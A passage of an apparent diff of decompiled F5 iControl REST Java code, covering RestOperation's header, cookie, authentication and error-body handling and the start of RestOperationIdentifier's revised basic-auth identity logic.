isResponse() { return this.isResponse; } public RestOperation setForceSocket(boolean forceSocket) { this.isForceSocketEnabled = forceSocket; return this; } public boolean getForceSocket() { return this.isForceSocketEnabled; } public RestOperation setCompletion(RestRequestCompletion completion) { this.completion = completion; return this; } public RestOperation setMethod(RestMethod method) { this.method = method; return this; } public RestMethod getMethod() { return this.method; } public RestOperation setContentDisposition(String contentDisposition) { this.contentDisposition = contentDisposition; return this; } public String getContentDisposition() { return this.contentDisposition; } public RestOperation setContentType(String contentType) { this.incomingContentType = null; this.contentType = contentType; return this; } public RestOperation setIncomingContentType(String contentType) { this.incomingContentType = contentType; this.contentType = null; return this; } public RestOperation defaultToContentTypeJson() { return setContentType("application/json"); } public String getContentType() { return (this.contentType == null) ? this.incomingContentType : this.contentType; } public String getOutgoingContentType() { return this.contentType; } public String getOutgoingContentEncoding() { if (this.contentEncoding != null) { return this.contentEncoding; } if (this.contentEncoding == null && this.contentType.equals("application/json")) { return MIME_ENCODING_UTF8; } return null; } public RestOperation setContentRange(String contentRange) { this.contentRange = contentRange; if (this.contentRange != null) { this.contentRange = this.contentRange.trim(); } return this; } public String getContentRange() { if (this.contentRange == null) { return null; } return this.contentRange.trim(); } public String getAccept() { return this.accept; } public RestOperation setAccept(String accept) { this.accept = accept; return this; } private void setupAuthorizationData() { if (this.authorizationData == null) { this.authorizationData = new AuthorizationData(); } } public void setBasicAuthFromIdentity() { if (this.authorizationData == null) { return; } this.authorizationData.basicAuthValue = AuthzHelper.encodeBasicAuth(getAuthUser(), null); } public RestOperation setBasicAuthorizationHeader(String value) { setupAuthorizationData(); if (value != null) { byte[] data = DatatypeConverter.parseBase64Binary(value); if (data == null || data.length == 0) { LOGGER.warningFmt("Basic Authorization header set to value that is invalid base64. Value: %s", new Object[] { value }); value = null; } } this.authorizationData.basicAuthValue = value; return this; } public RestOperation setBasicAuthorization(Void dummy) { if (this.authorizationData != null) { this.authorizationData.basicAuthValue = null; } return this; } public RestOperation setBasicAuthorization(String user, String password) { setIdentityData(user, null, null); setBasicAuthorizationHeader(AuthzHelper.encodeBasicAuth(user, password)); return this; } public RestOperation setAdminIdentity() { RestReference adminReference = AuthzHelper.getDefaultAdminReference(); if (adminReference != null) { setIdentityData(null, adminReference, null); } return this; } public RestOperation setIdentityFrom(RestOperation incomingRequest) { this.identityData = null; if (incomingRequest.identityData != null) { setIdentityData(incomingRequest.identityData.userName, incomingRequest.identityData.userReference, incomingRequest.identityData.groupReferences); } this.authorizationData = null; if (incomingRequest.authorizationData != null) { this.authorizationData = new AuthorizationData(); this.authorizationData.basicAuthValue = incomingRequest.authorizationData.basicAuthValue; } return this; } public RestOperation setIdentityData(String userName, RestReference userReference, RestReference[] groupReferences) { if (userName == null && !RestReference.isNullOrEmpty(userReference)) { String segment = UrlHelper.getLastPathSegment(userReference.link); if (userReference.link.equals(UrlHelper.buildPublicUri(UrlHelper.buildUriPath(new String[] { WellKnownPorts.AUTHZ_USERS_WORKER_URI_PATH, segment })))) { userName = segment; } } if (userName != null && RestReference.isNullOrEmpty(userReference)) { userReference = new RestReference(UrlHelper.buildPublicUri(UrlHelper.buildUriPath(new String[] { WellKnownPorts.AUTHZ_USERS_WORKER_URI_PATH, userName }))); } this.identityData = new IdentityData(); this.identityData.userName = userName; this.identityData.userReference = userReference; this.identityData.groupReferences = groupReferences; return this; } public String getBasicAuthorization() { if (this.authorizationData == null) { return null; } return this.authorizationData.basicAuthValue; } public RestOperation setWwwAuthenticate(String authentication) { setupAuthorizationData(); this.authorizationData.wwwAuthenticate = authentication; return this; } public RestOperation setXF5AuthToken(String token) { setupAuthorizationData(); if (token == null) { this.authorizationData.xF5AuthTokenState = null; } else { this.authorizationData.xF5AuthTokenState = new AuthTokenItemState(); this.authorizationData.xF5AuthTokenState.token = token; } return this; } public RestOperation setXF5AuthTokenState(AuthTokenItemState tokenState) { setupAuthorizationData(); this.authorizationData.xF5AuthTokenState = tokenState; RestOperationIdentifier.updateIdentityFromAuthenticationData(this); return this; } public RestOperation setXAuthToken(String token) { setupAuthorizationData(); this.authorizationData.xAuthToken = token; return this; } public RestOperation setXForwardedFor(String xForwardedFor) { this.xForwardedFor = xForwardedFor; return this; } public String getWwwAuthenticate() { if (this.authorizationData == null) { return null; } return this.authorizationData.wwwAuthenticate; } public String getXF5AuthToken() { if (this.authorizationData == null || this.authorizationData.xF5AuthTokenState == null) { return null; } return this.authorizationData.xF5AuthTokenState.token; } public AuthTokenItemState getXF5AuthTokenState() { if (this.authorizationData == null) { return null; } return this.authorizationData.xF5AuthTokenState; } public String getXAuthToken() { if (this.authorizationData == null) { return null; } return this.authorizationData.xAuthToken; } public RestOperation setTransferEncoding(String value) { this.transferEncoding = value; return this; } public String getTransferEncoding() { return this.transferEncoding; } public String getAuthUser() { return (this.identityData == null) ? null : this.identityData.userName; } public boolean doesRequireAuthorization() { return (isPublicRequest() || getAuthUser() != null); } public RestReference getAuthUserReference() { return (this.identityData == null) ? null : this.identityData.userReference; } public RestReference[] getAuthGroupReferences() { return (this.identityData == null) ? null : this.identityData.groupReferences; } public List<RestReference> getAuthGroupReferencesList() { List<RestReference> list = new ArrayList<>(); if (this.identityData == null) { return list; } if (this.identityData.groupReferences == null) { return list; } for (RestReference reference : this.identityData.groupReferences) { if (!RestReference.isNullOrEmpty(reference)) { list.add(reference); } } return list; } public List<RestReference> getAuthIdentityReferences() { List<RestReference> list = new ArrayList<>(); if (this.identityData == null) { return list; } list.addAll(getAuthGroupReferencesList()); if (!RestReference.isNullOrEmpty(this.identityData.userReference)) { list.add(this.identityData.userReference); } return list; } public String getAuthProviderName() { AuthTokenItemState token = getXF5AuthTokenState(); if (token != null) { return token.authProviderName; } return "local"; } public long getContentLength() { if (this.contentLength == -1L && this.body == null) { getBodyAsString(); } return this.contentLength; } public boolean isContentLengthUnknown() { return (this.contentLength == -1L); } public boolean isBodyNull() { return (this.body == null && this.binaryBody == null); } public boolean isBodyEmpty() { if (isBodyNull()) { return true; } if (this.binaryBody != null && this.binaryBody.length > 0) { return false; } if (this.body != null && ( this.body.isEmpty() || "{}".equals(this.body))) { return true; } return (isContentLengthUnknown() || getContentLength() == 0L); } public <T> T getTypedBody(Class<T> bodyClass) { return bodyClass.cast(getBody(bodyClass)); } public Object getBody(Type bodyType) { if (isBodyEmpty()) { return null; } if (this.deserializedBody != null && this.deserializedBodyType != null && bodyType.equals(this.deserializedBodyType)) { return this.deserializedBody; } this.deserializedBody = gson.fromJson(this.body, bodyType); this.deserializedBodyType = bodyType; return this.deserializedBody; } public String getBodyAsString() { return this.body; } public byte[] getBinaryBody() { return this.binaryBody; } public RestOperation setBinaryBody(byte[] binaryBody) { return setBody(null, null, binaryBody); } public RestOperation setBinaryBody(byte[] binaryBody, String contentType) { setBody(null, null, binaryBody); return setContentType(contentType); } public RestOperation setBodyFromOp(RestOperation request) { this.body = request.body; this.binaryBody = request.binaryBody; this.contentLength = request.contentLength; this.contentType = request.contentType; this.deserializedBody = null; this.deserializedBodyType = null; return this; } public RestOperation setParsedBody(JsonElement body) { return setBody(null, body, null); } public RestOperation setBody(String body, String mimeType) { return setBody(body, null, null).setContentType(mimeType); } public RestOperation setBody(String body) { return setBody(body, null, null); } public RestOperation setBody(Object body) { return setBody(null, body, null); } private RestOperation setBody(String stringBody, Object aObjBody, byte[] aBinaryBody) { clearBody(); if (stringBody != null) { this.body = stringBody; this.contentLength = stringBody.length(); } else if (aObjBody != null) { this.body = toJson(aObjBody); this.contentLength = this.body.length(); setContentType("application/json"); } else if (aBinaryBody != null) { this.binaryBody = aBinaryBody; this.contentLength = aBinaryBody.length; } checkSize(this.contentLength); return this; } public void checkSize(long requiredCapacity) { int maxSize = maxMessageBodySize.get(); if (requiredCapacity > maxSize) { throw new IllegalArgumentException("Message body size of " + requiredCapacity + " bytes" + " exceeds the maximum allowed size of " + maxSize + " bytes"); } } public JsonElement getParsedBody() { if (this.body == null) { return null; } return toJsonTree(this.body); } public boolean hasProperty(String propertyName) { if (this.binaryBody != null) { return false; } if (!"application/json".equals(this.contentType)) { return false; } if (this.body == null) { return false; } if (!this.body.contains("\"" + propertyName + "\"")) { return false; } JsonElement parsedBody = getParsedBody(); if (parsedBody.isJsonObject()) { JsonObject bodyObj = parsedBody.getAsJsonObject(); return bodyObj.has(propertyName); } return false; } public RestOperation setUri(URI uri) { this.uri = uri; HttpParserHelper.parseUriParameters(this, uri); return this; } public URI getUri() { return this.uri; } public RestOperation setStatusCode(int statusCode) { this.statusCode = statusCode; return this; } public int getStatusCode() { return this.statusCode; } public final RestOperation setExpiration(Date expiration) { if (expiration == null) { throw new IllegalArgumentException("expiration may not be null"); } this.expiration = expiration; return this; } public final Date getExpiration() { return this.expiration; } public boolean hasExpired() { return hasExpired(new Date()); } public boolean hasExpired(Date now) { if (this.expiration.after(now)) { return false; } return true; } public Map<String, String> getParameters() { return this.parameters; } public RestOperation setParameter(String name, String value) { RestHelper.setKeyValuePair(this.parameters, name, value); return this; } public String getParameter(String name) { return this.parameters.get(name); } public void removeParameter(String name) { this.parameters.remove(name); } public void setCookies(Map<String, String> cookies) { setCookies(cookies, Direction.getDirection(this.isResponse)); } public void setCookies(Map<String, String> cookies, Direction direction) { StringBuilder sb = new StringBuilder(); for (Map.Entry<String, String> cookie : cookies.entrySet()) { sb.append(((String)cookie.getKey()).trim()).append("=").append(cookie.getValue()).append(";"); } addAdditionalHeader(direction, "Cookie", sb.toString()); } public Map<String, String> getCookies() { return getCookies(Direction.getDirection(this.isResponse)); } public Map<String, String> getCookies(Direction direction) { HashMap<String, String> cookieMap = new HashMap<>(); String cookies = getAdditionalHeader(direction, "Cookie"); if (cookies != null) { HttpParserHelper.parseRequestKeyValuePairs(cookies, cookieMap, ";"); } Map<String, String> trimmedCookies = new HashMap<>(); for (String key : cookieMap.keySet()) { String trimmedKey = key.trim(); String value = cookieMap.get(key); String trimmedValue = value.trim(); trimmedCookies.put(trimmedKey, trimmedValue); } return trimmedCookies; } public RestOperation setCookie(String name, String value) { return setCookie(name, value, Direction.getDirection(this.isResponse)); } public RestOperation setCookie(String name, String value, Direction direction) { Map<String, String> cookies = getCookies(direction); RestHelper.setKeyValuePair(cookies, name, value); setCookies(cookies, direction); return this; } public String getCookie(String name) { return getCookie(name, Direction.getDirection(this.isResponse)); } public String getCookie(String name, Direction direction) { Map<String, String> cookies = getCookies(direction); if (cookies != null) { return cookies.get(name); } return null; } private void allocateHttpHeaders() { if (this.additionalHeaders == null) { this.additionalHeaders = new HttpHeaderFields[2]; } } public HttpHeaderFields getAdditionalHeaders() { allocateHttpHeaders(); return this.additionalHeaders[responseToIndex()]; } public HttpHeaderFields getAdditionalHeaders(Direction specificDirection) { allocateHttpHeaders(); if (this.additionalHeaders[specificDirection.getIndex()] == null) { this.additionalHeaders[specificDirection.getIndex()] = new HttpHeaderFields(); } return this.additionalHeaders[specificDirection.getIndex()]; } public String getAdditionalHeader(String name) { allocateHttpHeaders(); if (this.additionalHeaders[responseToIndex()] == null) { this.additionalHeaders[responseToIndex()] = new HttpHeaderFields(); } return getAdditionalHeader(Direction.getDirection(this.isResponse), name); } public String getAdditionalHeader(Direction specificDirection, String name) { allocateHttpHeaders(); if (this.additionalHeaders[specificDirection.getIndex()] == null) { return ""; } return this.additionalHeaders[specificDirection.getIndex()].getHeaderField(name); } public void addAdditionalHeaders(Direction specificDirection, HttpHeaderFields headers) { this.additionalHeaders[specificDirection.getIndex()] = headers; } public void addAdditionalHeader(Direction specificDirection, String name, String value) { allocateHttpHeaders(); if (this.additionalHeaders[specificDirection.getIndex()] == null) { this.additionalHeaders[specificDirection.getIndex()] = new HttpHeaderFields(); } this.additionalHeaders[specificDirection.getIndex()].addHeaderField(name, value, specificDirection.toString()); } public String removeAdditionalHeader(String name) { return removeAdditionalHeader(Direction.getDirection(this.isResponse), name); } public String removeAdditionalHeader(Direction specificDirection, String name) { allocateHttpHeaders(); if (this.additionalHeaders[specificDirection.getIndex()] == null) { return ""; } return this.additionalHeaders[specificDirection.getIndex()].removeHeaderField(name); } public void addAdditionalHeader(String name, String value) { addAdditionalHeader(Direction.getDirection(this.isResponse), name, value); } private String getAdditionalHeadersAsString(String linePrefix) { allocateHttpHeaders(); StringBuilder sb = new StringBuilder(linePrefix + "Request:"); if (this.additionalHeaders[Direction.REQUEST.getIndex()] == null) { sb.append("<empty>"); } else { sb.append(this.additionalHeaders[Direction.REQUEST.getIndex()].getAdditionalHeadersAsString(linePrefix)); } sb.append(linePrefix + "Response:"); if (this.additionalHeaders[Direction.RESPONSE.getIndex()] == null) { sb.append("<empty>"); } else { sb.append(this.additionalHeaders[Direction.RESPONSE.getIndex()].getAdditionalHeadersAsString(linePrefix)); } return sb.toString(); } public enum Direction { REQUEST(false), RESPONSE(true); private int index; private String name; Direction(boolean isResponse) { this.index = isResponse ? 1 : 0; this.name = isResponse ? "response" : "request"; } public int getIndex() { return this.index; } public String toString() { return this.name; } public static Direction getDirection(boolean isResponse) { return isResponse ? RESPONSE : REQUEST; } public static Direction opposite(Direction direction) { return (direction == RESPONSE) ? REQUEST : RESPONSE; } } private int responseToIndex() { return Direction.getDirection(this.isResponse).getIndex(); } public RestOperation setCoordinationId(String value) { this.coordinationId = value; return this; } public String getCoordinationId() { return this.coordinationId; } public RestOperation setAllow(String value) { this.allow = value; return this; } public String getAllow() { return this.allow; } public RestOperation setResourceDeprecated(Boolean value) { this.resourceDeprecated = value; return this; } public Boolean getResourceDeprecated() { return Boolean.valueOf((this.resourceDeprecated != null && this.resourceDeprecated.booleanValue())); } public RestOperation setResourceEarlyAccess(Boolean value) { this.resourceEarlyAccess = value; return this; } public Boolean getResourceEarlyAccess() { return Boolean.valueOf((this.resourceEarlyAccess != null && this.resourceEarlyAccess.booleanValue())); } public RestOperation setPropertyDeprecated(Boolean value) { this.propertyDeprecated = value; return this; } public Boolean getPropertyDeprecated() { return Boolean.valueOf((this.propertyDeprecated != null && this.propertyDeprecated.booleanValue())); } public RestOperation setPropertyEarlyAccess(Boolean value) { this.propertyEarlyAccess = value; return this; } public Boolean getPropertyEarlyAccess() { return Boolean.valueOf((this.propertyEarlyAccess != null && this.propertyEarlyAccess.booleanValue())); } public boolean containsApiStatusInformation() { return (getResourceDeprecated().booleanValue() || getResourceEarlyAccess().booleanValue() || getPropertyDeprecated().booleanValue() || getPropertyEarlyAccess().booleanValue()); } public void setXF5ConfigApiStatus(long bitMask) { this.xF5ConfigApiStatus = bitMask; } public long getXF5ConfigApiStatus() { return this.xF5ConfigApiStatus; } public RestOperation setOrigin(String value) { this.origin = value; return this; } public String getOrigin() { return this.origin; } public List<ParsedCollectionEntry> getParsedCollectionEntries() { return this.parsedUriCollectionEntries; } EnumSet<RestOperationFlags> getRestOperationFlags() { return this.restOperationFlags; } public void setSourceAddress(SocketAddress sourceAddress) { this.sourceAddress = sourceAddress; } public SocketAddress getSourceAddress() { return this.sourceAddress; } public boolean isRollbackRequest() { return this.isRollbackRequest; } public RestOperation setRollbackRequest(boolean isRollback) { this.isRollbackRequest = isRollback; return this; } public RestOperation setParsedCollectionEntries(List<ParsedCollectionEntry> parsedList) { this.parsedUriCollectionEntries = parsedList; return this; } + public boolean generateRestErrorResponse() { - return ((getContentType() == null || getContentType().contains("application/json")) && isRestErrorResponseRequired()); + return (getContentType() != null && isRestErrorResponseRequired()); } - public boolean isRestErrorResponseRequired() { return this.isRestErrorResponseRequired; } public RestOperation setIsRestErrorResponseRequired(boolean isRestErrorResponseRequired) { this.isRestErrorResponseRequired = isRestErrorResponseRequired; return this; } public String getIdentifiedGroupName() { return this.identifiedGroupName; } protected RestOperation setTrustedRequest(boolean value) { this.isTrustedRequest = value; return this; } public boolean isTrustedRequest() { return this.isTrustedRequest; } public RestOperation setSenderNote(String value) { this.senderNote = value; return this; } public String getSenderNote() { return this.senderNote; } public RestOperation setGossipHeader(String value) { this.gossipHeader = value; return this; } public String getGossipHeader() { return this.gossipHeader; } public void complete() { if (this.completionCount.incrementAndGet() > 1) { if (this.statusCode < 400) { LOGGER.fine(RestHelper.throwableStackToString(new IllegalStateException(String.format("Already completed:Referer:%s, target:%s", new Object[] { this.referer, this.uri })))); } return; } if (this.completion == null) { return; } try { if (this.statusCode >= 400) { IllegalStateException ise = new IllegalStateException(String.format("complete() of %s %s from %s %s called with incompatible status code %s so redirecting to failed()", new Object[] { getMethod(), getUri(), getReferer(), getRemoteSender(), Integer.valueOf(this.statusCode) })); this.completion.failed(ise, this); LOGGER.warning(RestHelper.throwableStackToString(ise)); return; } } catch (Exception e) { LOGGER.warningFmt("Exception in %s %s failure handler: %s", new Object[] { getMethod(), getUri(), RestHelper.throwableStackToString(e) }); return; } try { this.completion.completed(this); } catch (Exception e) { try { LOGGER.fineFmt("Failed attempting to complete a successful %s %s request: %s", new Object[] { getMethod(), getUri(), RestHelper.throwableStackToString(e) }); Exception ex = RestHelper.convertToException(e); this.completion.failed(ex, this); } catch (Exception eInsideFail) { LOGGER.warningFmt("Exception in %s %s failed. t: %s tInsideFail: %s", new Object[] { getMethod(), getUri(), RestHelper.throwableStackToString(e), RestHelper.throwableStackToString(eInsideFail) }); } } } public void fail(Exception ex, RestErrorResponse err) { fail(ex, err, false); } public void fail(Exception ex, RestErrorResponse err, boolean allowExternalStackTrace) { try { String existingBody = getBodyAsString(); boolean excludeStack = (!allowExternalStackTrace && isRequestExternal()); err.setOriginalRequestBody(existingBody).setCode(this.statusCode).setErrorStack(excludeStack ? null : RestHelper.throwableStackToList(ex)).setReferer(this.referer).setRestOperationId(this.id); setBody(err); } finally { fail(ex); } } public void fail(Throwable throwable) { fail(throwable, false); } public void fail(Throwable throwable, boolean allowExternalStackTrace) { if (this.completionCount.incrementAndGet() > 1) { return; } if (this.completion == null) { return; } if (throwable == null) { throwable = new IllegalArgumentException("request failed with null exception"); } Exception ex = null; try { if (this.statusCode == 200 || this.statusCode == 202) { this.statusCode = 400; if (throwable instanceof RestWorkerUriNotFoundException) { this.statusCode = 404; } } if (generateRestErrorResponse()) { setErrorResponseBody(throwable, allowExternalStackTrace); } JsonElement jsonBody = getParsedBody(); if (jsonBody != null && jsonBody instanceof JsonObject) { JsonObject jsonObject = (JsonObject)jsonBody; if (jsonObject != null) { Set<Map.Entry<String, JsonElement>> entries = jsonObject.entrySet(); boolean setDescription = false; - for (Map.Entry<String, JsonElement> current : entries) { + for (Iterator<Map.Entry<String, JsonElement>> iter = entries.iterator(); iter.hasNext(); ) { + Map.Entry<String, JsonElement> current = iter.next(); if (current.getValue() != null && RestWorker.isHtmlTagExists(((JsonElement)current.getValue()).toString())) { jsonObject.addProperty(current.getKey(), "HTML Tag-like Content in the Request URL/Body"); setBody(jsonObject.toString()); LOGGER.fine("tag-like content on respone with key " + (String)current.getKey()); } - if (((String)current.getKey()).toString().equals("code") && (((JsonElement)current.getValue()).toString().equals("400") || ((JsonElement)current.getValue()).toString().equals("500"))) { - + if (((String)current.getKey()).toString().equals("code") && Integer.parseInt(((JsonElement)current.getValue()).toString()) >= 400) { setDescription = true; continue; } if (setDescription && ((String)current.getKey()).toString().equals("originalRequestBody")) { - jsonObject.remove(current.getKey()); + iter.remove(); setBody(jsonObject.toString()); setDescription = false; LOGGER.fine("Cleared the request content for key " + (String)current.getKey()); } } } } ex = RestHelper.convertToException(throwable); } catch (Exception e2) { LOGGER.warningFmt("Unable to generate error body for %s %s %s: %s", new Object[] { getMethod(), getUri(), Integer.valueOf(getStatusCode()), RestHelper.throwableStackToString(e2) }); } finally { try { this.completion.failed(ex, this); } catch (Exception e3) { LOGGER.warningFmt("failure handler for %s %s %s threw unexpectedly: %s", new Object[] { getMethod(), getUri(), Integer.valueOf(getStatusCode()), RestHelper.throwableStackToString(e3) }); } } } public void setErrorResponseBody(Throwable t) { setErrorResponseBody(t, false); } public void setErrorResponseBody(Throwable t, boolean allowExternalStackTrace) { if (t == null) { t = new IllegalArgumentException("Expected exception was null"); } boolean excludeStack = (!allowExternalStackTrace && isRequestExternal()); String existingBody = getBodyAsString(); if (existingBody == null || existingBody.isEmpty()) { setBody(RestErrorResponse.create().setCode(this.statusCode).setMessage(t.getLocalizedMessage()).setReferer(this.referer).setRestOperationId(this.id).setErrorStack(excludeStack ? null : RestHelper.throwableStackToList(t))); return; } try { boolean isValidErrorResponse = false; Object errorResponse = getBody(RestErrorResponse.class); if (errorResponse instanceof RestErrorResponse) { RestErrorResponse restErrorResponse = (RestErrorResponse)errorResponse; isValidErrorResponse = (restErrorResponse.getCode() != 0L || restErrorResponse.getOriginalRequestBody() != null || restErrorResponse.getMessage() != null); } errorResponse = getBody(RestODataErrorResponse.class); if (!isValidErrorResponse && errorResponse instanceof RestODataErrorResponse) { RestODataErrorResponse oDataErrorResponse = (RestODataErrorResponse)errorResponse; isValidErrorResponse = (oDataErrorResponse.getError() != null && oDataErrorResponse.getError().getCode() != 0); } if (excludeStack) { existingBody = cleanStackTrace(existingBody); setBody(existingBody); } if (!isValidErrorResponse) { setBody(RestErrorResponse.create().setCode(this.statusCode).setOriginalRequestBody(existingBody).setMessage(t.getLocalizedMessage()).setReferer(this.referer).setRestOperationId(this.id).setErrorStack(excludeStack ? null : RestHelper.throwableStackToList(t))); } } catch (Exception jsonException) { t.addSuppressed(jsonException); setBody(RestErrorResponse.create().setCode(this.statusCode).setMessage(t.getLocalizedMessage()).setOriginalRequestBody(existingBody).setReferer(this.referer).setRestOperationId(this.id).setErrorStack(excludeStack ? null : RestHelper.throwableStackToList(t))); } } public static String cleanStackTrace(String json) { if (json != null && json.contains("errorStack")) { json = json.replaceAll("(?s)(\"errorStack\"|errorStack)(\\s*):(\\s*)\\[.*]", "$1$2:$3[]"); } return json; } private boolean isRequestExternal() { boolean isExternal = true; try { isExternal = RestStatic.isExternalRequest(this); } catch (Exception e) { LOGGER.severe("Unable to determine if request is external: " + e.getMessage()); } return isExternal; } public Object clone() { RestOperation copy = new RestOperation(); copy.completion = this.completion; copy.retriesRemaining = this.retriesRemaining; copy.parameters.putAll(this.parameters); copy.uri = (this.uri == null) ? null : URI.create(this.uri.toString()); copy.expiration = new Date(this.expiration.getTime()); copy.method = this.method; copy.accept = this.accept; copy.allow = this.allow; copy.resourceDeprecated = this.resourceDeprecated; copy.resourceEarlyAccess = this.resourceEarlyAccess; copy.propertyDeprecated = this.propertyDeprecated; copy.propertyEarlyAccess = this.propertyEarlyAccess; copy.xF5ConfigApiStatus = this.xF5ConfigApiStatus; copy.contentType = this.contentType; copy.contentDisposition = this.contentDisposition; copy.body = this.body; copy.binaryBody = this.binaryBody; copy.contentLength = this.contentLength; copy.contentRange = this.contentRange; copy.serverCertificateChain = this.serverCertificateChain; copy.isForceSocketEnabled = this.isForceSocketEnabled; copy.isRollbackRequest = this.isRollbackRequest; copy.restOperationFlags = EnumSet.copyOf(this.restOperationFlags); copy.statusCode = this.statusCode; if (this.authorizationData != null) { copy.authorizationData = new AuthorizationData(); copy.authorizationData.basicAuthValue = this.authorizationData.basicAuthValue; copy.authorizationData.xAuthToken = this.authorizationData.xAuthToken; copy.authorizationData.xF5AuthTokenState = (this.authorizationData.xF5AuthTokenState == null) ? null : RestHelper.<AuthTokenItemState>copy(this.authorizationData.xF5AuthTokenState); copy.authorizationData.wwwAuthenticate = this.authorizationData.wwwAuthenticate; } if (this.identityData != null) { copy.identityData = new IdentityData(); copy.identityData.userName = this.identityData.userName; if (!RestReference.isNullOrEmpty(this.identityData.userReference)) { URI uriCopy = URI.create(this.identityData.userReference.link.toString()); copy.identityData.userReference = new RestReference(uriCopy); } if (this.identityData.groupReferences != null) { copy.identityData.groupReferences = new RestReference[this.identityData.groupReferences.length]; for (int i = 0; i < this.identityData.groupReferences.length; i++) { if (!RestReference.isNullOrEmpty(this.identityData.groupReferences[i])) { URI uriCopy = URI.create((this.identityData.groupReferences[i]).link.toString()); copy.identityData.groupReferences[i] = new RestReference(uriCopy); } } } } copy.transferEncoding = this.transferEncoding; copy.sourceAddress = this.sourceAddress; copy.referer = this.referer; copy.coordinationId = this.coordinationId; copy.xForwardedFor = this.xForwardedFor; copy.identifiedGroupName = this.identifiedGroupName; copy.isTrustedRequest = this.isTrustedRequest; copy.isConnectionCloseRequested = this.isConnectionCloseRequested; copy.isConnectionKeepAlive = this.isConnectionKeepAlive; if (RestHelper.getOperationTracingLevel().intValue() <= Level.FINER.intValue()) { copy.responseHeadersTrace = this.responseHeadersTrace; copy.requestHeadersTrace = this.requestHeadersTrace; } if (this.additionalHeaders != null && this.additionalHeaders[0] != null) { copy.allocateHttpHeaders(); copy.additionalHeaders[Direction.REQUEST.getIndex()] = (HttpHeaderFields)this.additionalHeaders[Direction.REQUEST.getIndex()].clone(); } if (this.additionalHeaders != null && this.additionalHeaders[1] != null) { copy.allocateHttpHeaders(); copy.additionalHeaders[Direction.RESPONSE.getIndex()] = (HttpHeaderFields)this.additionalHeaders[Direction.RESPONSE.getIndex()].clone(); } copy.isRestErrorResponseRequired = this.isRestErrorResponseRequired; copy.isPublicRequest = this.isPublicRequest; copy.senderNote = this.senderNote; copy.gossipHeader = this.gossipHeader; return copy; } public static String toJson(Object src) { return gson.toJson(src); } public static JsonElement toJsonTree(String src) { return (new JsonParser()).parse(src); } public static JsonElement toJsonTree(Object src) { return gson.toJsonTree(src); } public static String toJsonWithEnumValues(Object src) { return extendedGson.toJson(src); } public static <T> T fromJson(String json, Class<T> classOfT) throws JsonSyntaxException { return (T)gson.fromJson(json, classOfT); } public static <T> T fromJson(Reader json, Class<T> classOfT) throws JsonSyntaxException { return (T)gson.fromJson(json, classOfT); } public static <T> T fromJson(JsonElement parsedJson, Class<T> classOfT) throws JsonSyntaxException { return (T)gson.fromJson(parsedJson, classOfT); } public static <T> T fromObject(Object src, Class<T> classOfT) throws JsonSyntaxException { return (T)gson.fromJson(gson.toJson(src), classOfT); } public RestOperation nestCompletion(final RestRequestCompletion beforeCompletion) { final RestRequestCompletion original = this.completion; RestRequestCompletion wrapper = new RestRequestCompletion() { public void completed(RestOperation request) { request.resetCompletionCount(); request.setCompletion(original); beforeCompletion.completed(RestOperation.this); } public void failed(Exception ex, RestOperation request) { request.resetCompletionCount(); request.setCompletion(original); beforeCompletion.failed(ex, request); } }; return setCompletion(wrapper); } } diff --git a/com/f5/rest/common/RestOperationIdentifier.java b/com/f5/rest/common/RestOperationIdentifier.java index d7941ba..cf955b9 100644 --- a/com/f5/rest/common/RestOperationIdentifier.java +++ b/com/f5/rest/common/RestOperationIdentifier.java @@ -1,249 +1,334 @@ package com.f5.rest.common; +import com.f5.rest.tmos.bigip.authn.providers.mcpremote.TmosAuthProviderCollectionWorker; import com.f5.rest.workers.AuthTokenItemState; +import com.f5.rest.workers.ForwarderPassThroughWorker; +import com.f5.rest.workers.authn.providers.AuthProviderLoginState; import com.f5.rest.workers.authz.AuthzHelper; import com.f5.rest.workers.device.DeviceCertificateState; import java.net.URI; +import java.net.URISyntaxException; import java.security.interfaces.RSAPublicKey; + + + + + + public class RestOperationIdentifier { private static RestLogger LOGGER = new RestLogger(RestOperationIdentifier.class, null); + static final String TMOS_AUTH_LOGIN_PROVIDER_WORKER_URI_PATH = TmosAuthProviderCollectionWorker.WORKER_URI_PATH + "/" + TmosAuthProviderCollectionWorker.generatePrimaryKey("tmos") + "/login"; + + public static void setIdentityFromAuthenticationData(RestOperation request, Runnable completion) { if (setIdentityFromDeviceAuthToken(request, completion)) { return; } if (setIdentityFromF5AuthToken(request)) { completion.run(); return; } - if (setIdentityFromBasicAuth(request)) { - completion.run(); - + if (setIdentityFromBasicAuth(request, completion)) { return; } + completion.run(); } public static void updateIdentityFromAuthenticationData(RestOperation request) { if (getRequestDeviceAuthToken(request) != null) { return; } if (setIdentityFromF5AuthToken(request)) { return; } - if (setIdentityFromBasicAuth(request)) { + if (setIdentityFromBasicAuth(request, null)) { return; } } private static String getRequestDeviceAuthToken(RestOperation request) { return request.getParameter("em_server_auth_token"); } private static boolean setIdentityFromDeviceAuthToken(final RestOperation incomingRequest, final Runnable finalRunnable) { final String authToken = getRequestDeviceAuthToken(incomingRequest); if (authToken == null) { return false; } final String ipAddress = incomingRequest.getParameter("em_server_ip"); boolean isCmiKey = Boolean.parseBoolean(incomingRequest.getParameter("em_cmi_key")); if (WellKnownPorts.getUseDeviceGroupKeyPairs() || WellKnownPorts.getUseBothDeviceAndGroupCertificates() || isCmiKey) { return setIdentityFromDeviceAuthTokenOnDisk(incomingRequest, finalRunnable, authToken, ipAddress, isCmiKey); } URI certificateUri = UrlHelper.buildLocalUriSafe(incomingRequest.getUri().getPort(), new String[] { "shared/device-certificates", ipAddress }); RestRequestCompletion completion = new RestRequestCompletion() { public void completed(RestOperation certRequest) { DeviceCertificateState certificate = certRequest.<DeviceCertificateState>getTypedBody(DeviceCertificateState.class); RestOperationIdentifier.setIdentityFromDeviceAuthToken(authToken, certificate.certificate.getBytes(), certificate.deviceUserReference, incomingRequest); finalRunnable.run(); } public void failed(Exception exception, RestOperation certRequest) { RestOperationIdentifier.LOGGER.fineFmt("Get device-certificate %s for %s: %s", new Object[] { this.val$ipAddress, this.val$incomingRequest.getReferer(), exception }); finalRunnable.run(); } }; RestOperation certRequest = RestOperation.create().setUri(certificateUri).setCompletion(completion).setReferer(RestOperationIdentifier.class.getName()); RestRequestSender.sendGet(certRequest); return true; } private static boolean setIdentityFromDeviceAuthTokenOnDisk(final RestOperation incomingRequest, final Runnable finalRunnable, final String authToken, final String ipAddress, final boolean isCmiKey) { DeviceAuthTokenHelper.getPublicKeyBytes(ipAddress, isCmiKey, new CompletionHandler<byte[]>() { public void completed(byte[] data) { RestOperationIdentifier.setIdentityFromDeviceAuthToken(authToken, data, null, incomingRequest); finalRunnable.run(); } public void failed(Exception exception, 